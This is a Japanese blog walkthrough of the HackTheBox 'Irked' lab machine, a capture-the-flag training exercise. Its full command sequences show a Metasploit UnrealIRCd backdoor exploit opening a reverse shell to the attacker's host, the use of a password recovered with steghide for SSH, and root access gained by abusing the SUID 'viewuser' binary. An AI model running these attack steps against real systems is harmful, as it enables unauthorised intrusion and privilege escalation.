🔥

HackTheBox Irked

2022/11/30に公開

Irked

侵入

nmap

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.10.117 -oN nmap.log
PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind syn-ack ttl 63 2-4 (RPC #100000)
6697/tcp  open  irc     syn-ack ttl 63 UnrealIRCd
8067/tcp  open  irc     syn-ack ttl 63 UnrealIRCd
35312/tcp open  status  syn-ack ttl 63 1 (RPC #100024)
65534/tcp open  irc     syn-ack ttl 63 UnrealIRCd

22、80番に加えて、いくつかのポートを確認

web


IRC is almost working という文字が出力されている

IRC

UnrealIRC が使用されていたので、searchsploit を実行してみる

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ searchsploit UnrealIRCd   
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit)                                  | linux/remote/16922.rb
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow                                       | windows/dos/18011.txt
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute                                                | linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                     | windows/dos/27407.pl
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

v3.2.8.1 に脆弱性を発見
脆弱性を調べるために、hexchat を実行し、接続を試みる

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ sudo hexchat

root として実行するため、sudo を使用する

すると、root で実行するべきではない的なメッセージが出力されるが、今回は無視

まず、+ Add をクリックし、名前を「Irked」とする
次に、Edit... をクリックし、IP アドレスを入力していく

一番上に、10.10.10.117/6697 と入力し、この画面は閉じる

そして、再度この画面で、Connect をクリックし、接続を開始する

接続が成功すると、上記のような表示が確認される。このまま、OK を押す

すると、詳細情報が確認され、version が 3.2.8.1 であることがわかった
バージョンが有効であることが確認できたため、exploit に移っていく

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ msfconsole

まずは、いつものように msfconsole を実行

msf6 > search UnrealIRCd

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 > use 0
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) >

UnrealIRC で search を行い、use で exploit をセットしていく
show options で詳細を確認していく

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

RHOSTS を設定する必要があり、RPORT を変更する必要がある

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.10.117
RHOSTS => 10.10.10.117
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
RPORT => 6697

10.10.10.117 と 6697 をセット
ここまでで、設定が完了したので実行に移る

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[-] 10.10.10.117:6697 - Exploit failed: A payload has not been selected.
[*] Exploit completed, but no session was created.

実行すると、payload が選択されていないというエラーが出てきた

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   payload/cmd/unix/reverse_bash_telnet_ssl                     normal

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 5
payload => cmd/unix/reverse

show payloads で payload を確認する。今回は、reverse を使用する

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.117     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6697             yes       The target port (TCP)

Payload options (cmd/unix/reverse):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

payload により、LHOST を指定する必要でてきたので、指定する

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 10.10.14.4
LHOST => 10.10.14.4

今度こそ、準備は完璧

ircd としてのシェル

run

情報は完璧に設定できたので、run で実行する

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.10.14.4:4444 
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
    :irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 8xdambRYl2pqirSk;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "8xdambRYl2pqirSk\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.4:4444 -> 10.10.10.117:47054) at 2022-11-30 00:40:01 +0900

whoami
ircd

侵入成功

列挙

home

ircd@irked:/home$ ls -l
ls -l
total 8
drwxr-xr-x 18 djmardov djmardov 4096 Sep  5 08:41 djmardov
drwxr-xr-x  3 ircd     root     4096 Sep  5 08:41 ircd

home ディレクトリには、djmardov ユーザが存在し、ircd ディレクトリには user.txt がない

ircd@irked:/home/djmardov$ ls -l
ls -l
total 36
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Desktop
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Documents
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Downloads
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Music
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Pictures
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Public
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Templates
-rw-r----- 1 root     djmardov   33 Nov 29 09:21 user.txt
drwxr-xr-x 2 djmardov djmardov 4096 Sep  5 08:41 Videos

djmardov ディレクトリに user.txt があり、ircd では見れないため、権限を移動する必要がある

Steg

Documents ディレクトリで、隠しファイルを発見

ircd@irked:/home/djmardov/Documents$ cat .backup
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

pw であることはわかったが、steg が何を指しているのかわからない
google で 「linux steg」と調べると、steganography が出てきた

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ wget http://10.10.10.117/irked.jpg                
--2022-11-30 01:09:22--  http://10.10.10.117/irked.jpg
Connecting to 10.10.10.117:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34697 (34K) [image/jpeg]
Saving to: ‘irked.jpg’

irked.jpg                       100%[=======================================================>]  33.88K  4.08KB/s    in 35s     

2022-11-30 01:10:02 (982 B/s) - ‘irked.jpg’ saved [34697/34697]

今回のボックスで確認できた画像は、初めての絵文字みたいなやつなので、ダウンロードする

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ steghide extract -sf irked.jpg -p UPupDOWNdownLRlrBAbaSSss 
wrote extracted data to "pass.txt".

steghide を使用し、データの抽出を試すと、pass.txt に data が抽出された

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ cat pass.txt    
Kab6h+m+bbp2J:HG

内容を見てみると、password が確認できた。

djmardov としてのシェル

SSH

取得した認証情報が SSH で使用できるか試してみる

┌──(kali㉿kali)-[~/Desktop/Irked]
└─$ ssh djmardov@10.10.10.117           
The authenticity of host '10.10.10.117 (10.10.10.117)' can't be established.
ECDSA key fingerprint is SHA256:kunqU6QEf9TV3pbsZKznVcntLklRwiVobFZiJguYs4g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.117' (ECDSA) to the list of known hosts.
djmardov@10.10.10.117's password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 15 08:56:32 2018 from 10.33.3.3
djmardov@irked:~$ whoami
djmardov

権限移動成功

user フラグ

djmardov@irked:~$ cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

権限昇格

find

sudo は使えなかったので、find を実行し、suid があるファイルを検索する

djmardov@irked:~$ find / -type f -user root -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/bin/X
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/viewuser
/sbin/mount.nfs
/bin/su
/bin/mount
/bin/fusermount
/bin/ntfs-3g
/bin/umount

viewuser を発見。いままでのボックスであまりみたことがないので、調べてみる
すると、権限昇格の手がかりとなる情報を発見

djmardov@irked:~$ echo sh > /tmp/listusers
djmardov@irked:~$ chmod 777 /tmp/listusers

記事によると、/tmp/listusers に実行したいコマンドを記述し、実行権限を付与するだけで権限昇格が狙えるらしい

root としてのシェル

viewuser

最後に、viewuser を実行する

djmardov@irked:~$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2022-11-30 08:40 (:0)
djmardov pts/0        2022-11-30 09:27 (10.10.14.6)
# whoami
root

権限昇格成功

root フラグ

# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

攻略完了

所感

今回のボックスは、わかりやすい脆弱性が存在していたので比較的簡単だったが、viewuser での権限昇格は盲点すぎた。一度、実行結果をスルーし他を調べたので時間も結構かかってしまった。勝手に重要ではないと決めつけるのではなく、細かな情報にも目を向けることが大切だと改めて実感した。

Discussion